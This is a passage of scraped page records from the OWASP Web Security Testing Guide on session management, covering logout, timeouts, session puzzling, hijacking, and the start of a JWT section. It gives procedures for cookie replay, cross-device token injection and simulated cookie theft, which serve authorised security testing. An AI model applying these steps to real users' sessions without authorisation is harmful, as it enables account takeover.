"ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/Set-Cookie", "https://cheatsheetseries.owasp.org/cheatsheets/Cross-Site_Request_Forgery_Prevention_Cheat_Sheet.html", "https://www.zaproxy.org/", "https://wiki.owasp.org/index.php/Category:OWASP_CSRFTester_Project", "https://code.google.com/archive/p/pinata-csrf-tool/", "http://www.tux.org/~peterw/csrf.txt", "https://www.securenet.de/papers/Session_Riding.pdf", "https://www.zope.org/Members/jim/ZopeSecurity/ClientSideTrojan", "https://www.cgisecurity.com/csrf-faq.html", "https://yehg.net/lab/pr0js/view.php/A_Most-Neglected_Fact_About_CSRF.pdf", "https://www.lanmaster53.com/2013/07/17/multi-post-csrf/", "https://www.youtube.com/watch?v=EOs5PZiiwug", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/06-Logout_Functionality", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/06-Logout_Functionality", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/06-Logout_Functionality", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Logout Functionality"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Log Out User Interface"}, {"uroven": 3, "text": "Server-Side Session Termination"}, {"uroven": 3, "text": "Session Timeout"}, {"uroven": 3, "text": "Session Termination in Single Sign-On Environments (Single Sign-Off)"}, {"uroven": 3, "text": "Cross-Device Session Reuse and Single-Value Dependency in SSO"}, {"uroven": 2, "text": "Tools"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "Whitepapers"}], "markdown": "# WSTG - Latest\n\n# Logout Functionality\n\n| ID |\n| --- |\n| WSTG-SESS-06 |\n\n## Summary\n\nSession termination is an important part of the session lifecycle. Reducing to a minimum the lifetime of the session tokens decreases the likelihood of a successful session hijacking attack. This can be seen as a control against preventing other attacks like Cross Site Scripting and Cross Site Request Forgery. Such attacks have been known to rely on a user having an authenticated session present. Not having a secure session termination only increases the attack surface for any of these attacks.\n\nA secure session termination requires at least the following components:\n\n- Availability of user interface controls that allow the user to manually log out.\n- Session termination after a given amount of time without activity (session timeout).\n- Proper invalidation of server-side session state.\n\nThere are multiple issues which can prevent the effective termination of a session. For the ideal secure web application, a user should be able to terminate at any time through the user interface. Unclear or ambiguous log out functions may cause users to mistrust such functionality.\n\nAnother common mistake in session termination is that the client-side session token is set to a new value while the server-side state remains active and can be reused by setting the session cookie back to the previous value. Sometimes only a confirmation message is shown to the user without performing any further action. This should be avoided.\n\nSome web application frameworks rely solely on the session cookie to identify the logged-on user. The user’s ID is embedded in the (encrypted) cookie value. The application server does not do any tracking on the server-side of the session. When logging out, the session cookie is removed from the browser. However, since the application does not do any tracking, it does not know whether a session is logged out or not. So by reusing a session cookie it is possible to gain access to the authenticated session. A well-known example of this is the Forms Authentication functionality in ASP.NET.\n\nUsers of web browsers often don’t mind that an application is still open and just close the browser or a tab. A web application should be aware of this behavior and terminate the session automatically on the server-side after a defined amount of time.\n\nThe usage of a single sign-on (SSO) system instead of an application-specific authentication scheme often causes the coexistence of multiple sessions which have to be terminated separately. For instance, the termination of the application-specific session does not terminate the session in the SSO system. Navigating back to the SSO portal offers the user the possibility to log back in to the application where the log out was performed just before. On the other side a log out function in a SSO system does not necessarily cause session termination in connected applications.\n\n## Test Objectives\n\n- Assess the logout UI.\n- Analyze the session timeout and if the session is properly killed after logout.\n\n## How to Test\n\n### Log Out User Interface\n\nVerify the appearance and visibility of the log out functionality in the user interface. For this purpose, view each page from the perspective of a user who has the intention to log out from the web application.\n\n> There are some properties which indicate a good log out user interface:\n> \n> - A log out button is present on all pages of the web application.\n> - The log out button should be identified quickly by a user who wants to log out from the web application.\n> - After loading a page the log out button should be visible without scrolling.\n> - Ideally the log out button is placed in an area of the page that is fixed in the view port of the browser and not affected by scrolling of the content.\n\n### Server-Side Session Termination\n\nFirst, store the values of cookies that are used to identify a session. Invoke the log out function and observe the behavior of the application, especially regarding session cookies. Try to navigate to a page that is only visible in an authenticated session, e.g. by usage of the back button of the browser. If a cached version of the page is displayed, use the reload button to refresh the page from the server. If the log out function causes session cookies to be set to a new value, restore the old value of the session cookies and reload a page from the authenticated area of the application. If these test don’t show any vulnerabilities on a particular page, try at least some further pages of the application that are considered as security-critical, to ensure that session termination is recognized properly by these areas of the application.\n\n> No data that should be visible only by authenticated users should be visible on the examined pages while performing the tests. Ideally the application redirects to a public area or a log in form while accessing authenticated areas after termination of the session. It should be not necessary for the security of the application, but setting session cookies to new values after log out is generally considered as good practice.\n\n### Session Timeout\n\nTry to determine a session timeout by performing requests to a page in the authenticated area of the web application with increasing delays. If the log out behavior appears, the used delay matches approximately the session timeout value.\n\n> The same results as for server-side session termination testing described before are excepted by a log out caused by an inactivity timeout.\n> \n> The proper value for the session timeout depends on the purpose of the application and should be a balance of security and usability. In a banking applications it makes no sense to keep an inactive session more than 15 minutes. On the other side a short timeout in a wiki or forum could annoy users which are typing lengthy articles with unnecessary log in requests. There timeouts of an hour and more can be acceptable.\n\n### Session Termination in Single Sign-On Environments (Single Sign-Off)\n\nPerform a log out in the tested application. Verify if there is a central portal or application directory which allows the user to log back in to the application without authentication. Test if the application requests the user to authenticate, if the URL of an entry point to the application is requested. While logged in in the tested application, perform a log out in the SSO system. Then try to access an authenticated area of the tested application.\n\n> It is expected that the invocation of a log out function in a web application connected to a SSO system or in the SSO system itself causes global termination of all sessions. An authentication of the user should be required to gain access to the application after log out in the SSO system and connected application.\n\n### Cross-Device Session Reuse and Single-Value Dependency in SSO\n\n> While traditional SSO logout testing focuses on reauthentication flows within the same browser context, testers must also evaluate whether authentication artifact (e.g., cookie, header, or bearer token) can be replayed across devices.\n\nIn some Single Sign-On (SSO) implementations, authentication across multiple applications relies on a single authentication artifact issued after successful login (e.g., after password and MFA verification).\n\n> An example, while a cookie may be set with Secure and HttpOnly, its security depends entirely on server-side validation and revocation controls. If the SSO ecosystem relies on a single cookie as the sole proof of authentication, compromise of that cookie may grant immediate cross-application access.\n\nTesters should evaluate whether:\n\n- If only single authentication artifact is required to maintain authenticated state.\n- The authentication artifact can be reused across browsers or devices.\n- Logout properly invalidates the authentication artifact server-side.\n- All applications trusting the SSO authentication artifact reject it after logout.\n\nTest Procedure:\n\n- Step 1 – Authenticate and Capture All Issued Authentication Artifact\n\n1. Log in on Device 1 using valid credentials and complete MFA.\n2. Intercept the authentication response.\n3. Record all authentication artifact (e.g., cookie, header, or bearer token) issued by the application or SSO domain.\n\nFor example: `auth-cookie=XYZ123`, `session_meta=ABC456`, `tracking_id=DEF789`…\n\n- Step 2 – Identify Authentication-Critical Artifact(s)\n\nThe purpose of this step is to determine whether the SSO implementation depends on a single authentication artifact (e.g., cookie, header, or bearer token).\n\n1. Send requests to protected endpoints.\n2. Remove authentication artifact individually and resend the request.\n3. Observe which are required to maintain a 200 OK response.\n\nIf only one authentication artifact (e.g., auth-cookie) is required to sustain authentication, this indicates that the SSO trust boundary may rely solely on that single-value.\n\n> Security Note:\n> When a single authentication artifact represents the entire authenticated state, it becomes a high-value target. An attacker who obtains that single-value may not require any additional session metadata or device context to gain access.\n\n- Step 3 – Cross-Device Session Injection\n\n1. Copy the authentication-critical artifact value (e.g., auth-cookie=XYZ123).\n2. Open a different browser or device (Device 2).\n3. Manually insert the copied single artifact.\n4. Attempt to access protected endpoints across:\n - The original application\n - Other applications participating in the same SSO ecosystem\n\nIf Device 2 gains authenticated access without credential entry or MFA, the artifact is reusable across contexts.\n\n- Step 4 – Logout Validation Across Devices\n\n1. On Device 1, perform logout.\n2. On Device 2, refresh or access protected resources using the same injected authenticaton artifact value.\n\nExpected Result:\n\n- Logout must invalidate the authentication artifact (e.g., cookie or bearer token) server-side.\n- All sessions using that artifact must be terminated.\n- Access must not remain valid until authentication artifact expiration.\n- All applications trusting the SSO authentication artifact must reject it.\n\nIf an SSO implementation:\n\n- Relies primarily on a single authentication artifact\n- Allows that artifact to be reused across devices\n- Does not revoke it server-side upon logout\n\nthen:\n\n- Theft of that single-value authentication artifact may immediately compromise active sessions.\n- MFA protections are effectively bypassed after initial login.\n- Logout may not provide global session termination.\n- Access may persist for the entire artifact lifetime (e.g., auth-cookie=XYZ123; max-age=28800, 8 hours).\n\nImplementations should avoid architectures where a single-value authentication artifact represents the entire authenticated state without additional validation controls.\n\n## Tools\n\n- [Burp Suite - Repeater](https://portswigger.net/burp/documentation/desktop/tools/repeater)\n\n## References\n\n- [The Golden Cookie: When SSO Session Boundaries Fail](https://allaboutinfosec.blogspot.com/2026/03/the-golden-cookie-when-sso-session.html)\n\n### Whitepapers\n\n- [Cookie replay attacks in ASP.NET when using forms authentication](https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 11241, "slov": 1737, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:46", "sha256": "70604b168a86eeadeabd4ab0dada90061d533950986d200343a8d704c61e2bad", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://portswigger.net/burp/documentation/desktop/tools/repeater", "https://allaboutinfosec.blogspot.com/2026/03/the-golden-cookie-when-sso-session.html", "https://www.vanstechelman.eu/content/cookie-replay-attacks-in-aspnet-when-using-forms-authentication", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/07-Session_Timeout", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/07-Session_Timeout", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/07-Session_Timeout", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Session Timeout"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "References"}, {"uroven": 3, "text": "OWASP Resources"}], "markdown": "# WSTG - Latest\n\n# Session Timeout\n\n| ID |\n| --- |\n| WSTG-SESS-07 |\n\n## Summary\n\nIn this phase testers check that the application automatically logs out a user when that user has been idle for a certain amount of time, ensuring that it is not possible to “reuse” the same session and that no sensitive data remains stored in the browser cache.\n\nAll applications should implement an idle or inactivity timeout for sessions. This timeout defines the amount of time a session will remain active in case there is no activity by the user, closing and invalidating the session upon the defined idle period since the last HTTP request received by the web application for a given session ID. The most appropriate timeout should be a balance between security (shorter timeout) and usability (longer timeout) and heavily depends on the sensitivity level of the data handled by the application. For example, a 60 minute log out time for a public forum can be acceptable, but such a long time would be too much in a home banking application (where a maximum timeout of 15 minutes is recommended). In any case, any application that does not enforce a timeout-based log out should be considered not secure, unless such behavior is required by a specific functional requirement.\n\nThe idle timeout limits the chances that an attacker has to guess and use a valid session ID from another user, and under certain circumstances could protect public computers from session reuse. However, if the attacker is able to hijack a given session, the idle timeout does not limit the attacker’s actions, as he can generate activity on the session periodically to keep the session active for longer periods of time.\n\nSession timeout management and expiration must be enforced server-side. If some data under the control of the client is used to enforce the session timeout, for example using cookie values or other client parameters to track time references (e.g. number of minutes since log in time), an attacker could manipulate these to extend the session duration. So the application has to track the inactivity time server-side and, after the timeout is expired, automatically invalidate the current user’s session and delete every data stored on the client.\n\nBoth actions must be implemented carefully, in order to avoid introducing weaknesses that could be exploited by an attacker to gain unauthorized access if the user forgot to log out from the application. More specifically, as for the log out function, it is important to ensure that all session tokens (e.g. cookies) are properly destroyed or made unusable, and that proper controls are enforced server-side to prevent the reuse of session tokens. If such actions are not properly carried out, an attacker could replay these session tokens in order to “resurrect” the session of a legitimate user and impersonate him/her (this attack is usually known as ‘cookie replay’). Of course, a mitigating factor is that the attacker needs to be able to access those tokens (which are stored on the victim’s PC), but, in a variety of cases, this may not be impossible or particularly difficult.\n\nThe most common scenario for this kind of attack is a public computer that is used to access some private information (e.g., web mail, online bank account). If the user moves away from the computer without explicitly logging out and the session timeout is not implemented on the application, then an attacker could access to the same account by simply pressing the “back” button of the browser.\n\n## Test Objectives\n\n- Validate that a hard session timeout exists.\n\n## How to Test\n\n### Black-Box Testing\n\nThe same approach seen in the [logout functionality](/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/06-Logout_Functionality) section can be applied when measuring the timeout log out.\nThe testing methodology is very similar. First, testers have to check whether a timeout exists, for instance, by logging in and waiting for the timeout log out to be triggered. As in the log out function, after the timeout has passed, all session tokens should be destroyed or be unusable.\n\nThen, if the timeout is configured, testers need to understand whether the timeout is enforced by the client or by the server (or both). If the session cookie is non-persistent (or, more in general, the session cookie does not store any data about the time), testers can assume that the timeout is enforced by the server. If the session cookie contains some time related data (e.g., log in time, or last access time, or expiration date for a persistent cookie), then it’s possible that the client is involved in the timeout enforcing. In this case, testers could try to modify the cookie (if it’s not cryptographically protected) and see what happens to the session. For instance, testers can set the cookie expiration date far in the future and see whether the session can be prolonged.\n\nAs a general rule, everything should be checked server-side and it should not be possible, by re-setting the session cookies to previous values, to access the application again.\n\n### Gray-Box Testing\n\nThe tester needs to check that:\n\n- The log out function effectively destroys all session token, or at least renders them unusable,\n- The server performs proper checks on the session state, disallowing an attacker to replay previously destroyed session identifiers\n- A timeout is enforced and it is properly enforced by the server. If the server uses an expiration time that is read from a session token that is sent by the client (but this is not advisable), then the token must be cryptographically protected from tampering.\n\nThe most important thing is for the application to invalidate the session on the server-side. Generally this means that the code must invoke the appropriate methods, e.g. `HttpSession.invalidate()` in Java and `Session.abandon()` in .NET. Clearing the cookies from the browser is advisable, but is not strictly necessary, since if the session is properly invalidated on the server, having the cookie in the browser will not help an attacker.\n\n## References\n\n### OWASP Resources\n\n- [Session Management Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 6299, "slov": 1006, "odkazu": 201, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:48", "sha256": "cac6b43578f2c81f2f0636a1da9d49ba56c387a6bf1a3c1dacf3c677b56a80b0", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://cheatsheetseries.owasp.org/cheatsheets/Session_Management_Cheat_Sheet.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/08-Session_Puzzling", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/08-Session_Puzzling", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/08-Session_Puzzling", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Session Puzzling"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Black-Box Testing"}, {"uroven": 4, "text": "Examples"}, {"uroven": 3, "text": "Gray-Box Testing"}, {"uroven": 2, "text": "Remediation"}, {"uroven": 2, "text": "References"}], "markdown": "# WSTG - Latest\n\n# Session Puzzling\n\n| ID |\n| --- |\n| WSTG-SESS-08 |\n\n## Summary\n\nSession Variable Overloading (also known as Session Puzzling) is an application level vulnerability which can enable an attacker to perform a variety of malicious actions, including but not limited to:\n\n- Bypass efficient authentication enforcement mechanisms, and impersonate legitimate users.\n- Elevate the privileges of a malicious user account, in an environment that would otherwise be considered foolproof.\n- Skip over qualifying phases in multi-phase processes, even if the process includes all the commonly recommended code level restrictions.\n- Manipulate server-side values in indirect methods that cannot be predicted or detected.\n- Execute traditional attacks in locations that were previously unreachable, or even considered secure.\n\nThis vulnerability occurs when an application uses the same session variable for more than one purpose. An attacker can potentially access pages in an order unanticipated by the developers so that the session variable is set in one context and then used in another.\n\nFor example, an attacker could use session variable overloading to bypass authentication enforcement mechanisms of applications that enforce authentication by validating the existence of session variables that contain identity–related values, which are usually stored in the session after a successful authentication process. This means an attacker first accesses a location in the application that sets session context and then accesses privileged locations that examine this context.\n\nFor example - an authentication bypass attack vector could be executed by accessing a publicly accessible entry point (e.g. a password recovery page) that populates the session with an identical session variable, based on fixed values or on user originating input.\n\n## Test Objectives\n\n- Identify all session variables.\n- Break the logical flow of session generation.\n\n## How to Test\n\n### Black-Box Testing\n\nThis vulnerability can be detected and exploited by enumerating all of the session variables used by the application and in which context they are valid. In particular this is possible by accessing a sequence of entry points and then examining exit points. In case of black-box testing this procedure is difficult and requires some luck since every different sequence could lead to a different result.\n\n#### Examples\n\nA very simple example could be the password reset functionality that, in the entry point, could request the user to provide some identifying information such as the username or the email address. This page might then populate the session with these identifying values, which are received directly from the client-side, or obtained from queries or calculations based on the received input. At this point there may be some pages in the application that show private data based on this session object. In this manner the attacker could bypass the authentication process.\n\n### Gray-Box Testing\n\nThe most effective way to detect these vulnerabilities is via a source code review.\n\n## Remediation\n\nSession variables should only be used for a single consistent purpose.\n\n## References\n\n- [Session Puzzles](https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf)\n- [Session Puzzling and Session Race Conditions](https://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 3560, "slov": 489, "odkazu": 202, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:49", "sha256": "d0f0d47a9ccc192bab3dbfc2aecee353d86721a864bf4bd97e19c4e974974139", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://storage.googleapis.com/google-code-archive-downloads/v2/code.google.com/puzzlemall/Session%20Puzzles%20-%20Indirect%20Application%20Attack%20Vectors%20-%20May%202011%20-%20Whitepaper.pdf", "https://sectooladdict.blogspot.com/2011/09/session-puzzling-and-session-race.html", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/09-Session_Hijacking", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/09-Session_Hijacking", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/09-Session_Hijacking", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "Session Hijacking"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 2, "text": "Tools"}], "markdown": "# WSTG - Latest\n\n# Session Hijacking\n\n| ID |\n| --- |\n| WSTG-SESS-09 |\n\n## Summary\n\nAn attacker who gets access to user session cookies can impersonate them by presenting such cookies. This attack is known as session hijacking. When considering network attackers, i.e., attackers who control the network used by the victim, session cookies can be unduly exposed to the attacker over HTTP. To prevent this, session cookies should be marked with the `Secure` attribute so that they are only communicated over HTTPS.\n\nThe `Secure` attribute should also be used when the web application is entirely deployed over HTTPS, otherwise the following cookie theft attack is possible. Assume that `example.com` is entirely deployed over HTTPS, but does not mark its session cookies as `Secure`. The following attack steps are possible:\n\n1. The victim sends a request to `https://another-site.com` .\n2. The attacker corrupts the corresponding response so that it triggers a request to `https://example.com` .\n3. The browser now tries to access `https://example.com` .\n4. Though the request fails, the session cookies are leaked in the clear over HTTP.\n\nAlternatively, session hijacking can be prevented by banning use of HTTP using [HSTS](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security). Note there is a subtlety here related to cookie scoping. In particular, full HSTS adoption is required when session cookies are issued with the `Domain` attribute set.\n\nFull HSTS adoption is described in a paper called *Testing for Integrity Flaws in Web Sessions* by Stefano Calzavara, Alvise Rabitti, Alessio Ragazzo, and Michele Bugliesi. Full HSTS adoption occurs when a host activates HSTS for itself and all its sub-domains. Partial HSTS adoption is when a host activates HSTS just for itself.\n\nWith the `Domain` attribute set, session cookies can be shared across sub-domains. Use of HTTP with sub-domains should be avoided to prevent the disclosure of unencrypted cookies sent over HTTP. To exemplify this security flaw, assume that the site `example.com` activates HSTS without the `includeSubDomains` option. The site issues session cookies with the `Domain` attribute set to `example.com`. The following attack is possible:\n\n1. The victim sends a request to `https://another-site.com` .\n2. The attacker corrupts the corresponding response so that it triggers a request to `https://fake.example.com` .\n3. The browser now tries to access `https://fake.example.com` , which is permitted by the HSTS configuration.\n4. Since the request is sent to a sub-domain of `example.com` with the `Domain` attribute set, it includes the session cookies, which are leaked in the clear over HTTP.\n\nFull HSTS should be activated on the apex domain to prevent this attack.\n\n## Test Objectives\n\n- Identify vulnerable session cookies.\n- Hijack vulnerable cookies and assess the risk level.\n\n## How to Test\n\nThe testing strategy is targeted at network attackers, hence it only needs to be applied to sites without full HSTS adoption (sites with full HSTS adoption are secure, since their cookies are not communicated over HTTP). We assume to have two testing accounts on the site under test, one to act as the victim and one to act as the attacker. We simulate a scenario where the attacker steals all the cookies which are not protected against disclosure over HTTP, and presents them to the site to access the victim’s account. If these cookies are enough to act on the victim’s behalf, session hijacking is possible.\n\nHere are the steps for executing this test:\n\n1. Login to the site as the victim and reach any page offering a secure function requiring authentication.\n2. Delete from the cookie jar all the cookies which satisfy any of the following conditions.\n - in case there is no HSTS adoption: the `Secure` attribute is set.\n - in case there is partial HSTS adoption: the `Secure` attribute is set or the `Domain` attribute is not set.\n3. Save a snapshot of the cookie jar.\n4. Trigger the secure function identified at step 1.\n5. Observe whether the operation at step 4 has been performed successfully. If so, the attack was successful.\n6. Clear the cookie jar, login as the attacker and reach the page at step 1.\n7. Write in the cookie jar, one by one, the cookies saved at step 3.\n8. Trigger again the secure function identified at step 1.\n9. Clear the cookie jar and login again as the victim.\n10. Observe whether the operation at step 8 has been performed successfully in the victim’s account. If so, the attack was successful; otherwise, the site is secure against session hijacking.\n\nWe recommend using two different machines or browsers for the victim and the attacker. This allows you to decrease the number of false positives if the web application does fingerprinting to verify access enabled from a given cookie. A shorter but less precise variant of the testing strategy only requires one testing account. It follows the same pattern, but it halts at step 5 (note that this makes step 3 useless).\n\n## Tools\n\n- [ZAP](https://www.zaproxy.org)\n- [JHijack](https://github.com/yehgdotnet/JHijack)\n\n---\n\n[Watch](https://github.com/OWASP/wstg/subscription) [Star](https://github.com/OWASP/wstg)", "znaku_textu": 5089, "slov": 809, "odkazu": 203, "kodovani": "utf-8", "kodovani_deklarovane": "utf-8", "format": "html", "duplikat_z": "", "http": 200, "odkud": "live", "wb_ts": "", "stazeno": "2026-09-14 12:52:50", "sha256": "2c1e071fc7fd5dab91acf3bc370aec4e22dff48aa93faddaa92933a3b4a903c3", "hloubka": 2, "zdroj_objevu": "odkaz", "ze_seznamu": false, "mime": "text/html", "odkazy_externi": ["https://owasp.glueup.com/organization/6727/memberships", "https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security", "https://www.zaproxy.org/", "https://github.com/yehgdotnet/JHijack", "https://github.com/OWASP/wstg/subscription", "https://github.com/OWASP/wstg", "https://github.com/OWASP/", "https://www.facebook.com/OWASPFoundation", "https://infosec.exchange/@owasp", "https://twitter.com/owasp", "https://www.linkedin.com/company/owasp/", "https://www.youtube.com/user/OWASPGLOBAL", "https://policy.owasp.org/operational/general-disclaimer.html"]} {"url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens", "titulek": "WSTG - Latest | OWASP Foundation", "h1": "WSTG - Latest", "popis": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "klicova_slova": "", "kanonicka": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens", "jazyk": "en", "robots_meta": "", "og": {"og:description": "WSTG - Latest on the main website for The OWASP Foundation. OWASP is a nonprofit foundation that works to improve the security of software.", "og:title": "WSTG - Latest | OWASP Foundation", "og:url": "https://owasp.org/www-project-web-security-testing-guide/latest/4-Web_Application_Security_Testing/06-Session_Management/10-JSON_Web_Tokens", "og:locale": "en_US", "og:type": "website", "og:image": "/favicon.ico"}, "jsonld": [], "drobecky": ["Home", "Latest", "4-Web Application Security Testing", "06-Session Management"], "osnova": [{"uroven": 1, "text": "WSTG - Latest"}, {"uroven": 1, "text": "JSON Web Tokens"}, {"uroven": 2, "text": "Summary"}, {"uroven": 2, "text": "Test Objectives"}, {"uroven": 2, "text": "How to Test"}, {"uroven": 3, "text": "Overview"}, {"uroven": 3, "text": "Analyse the Contents"}, {"uroven": 4, "text": "Payload"}, {"uroven": 4, "text": "Signature"}, {"uroven": 3, "text": "Review Usage"}, {"uroven": 3, "text": "Signature Verification"}, {"uroven": 4, "text": "The None Algorithm"}, {"uroven": 4, "text": "ECDSA “Psychic Signatures”"}, {"uroven": 3, "text": "Weak HMAC Keys"}, {"uroven": 3, "text": "HMAC vs Public Key Confusion"}, {"uroven": 3, "text": "Attacker Provided Public Key (Embedded JWK)"}, {"uroven": 3, "text": 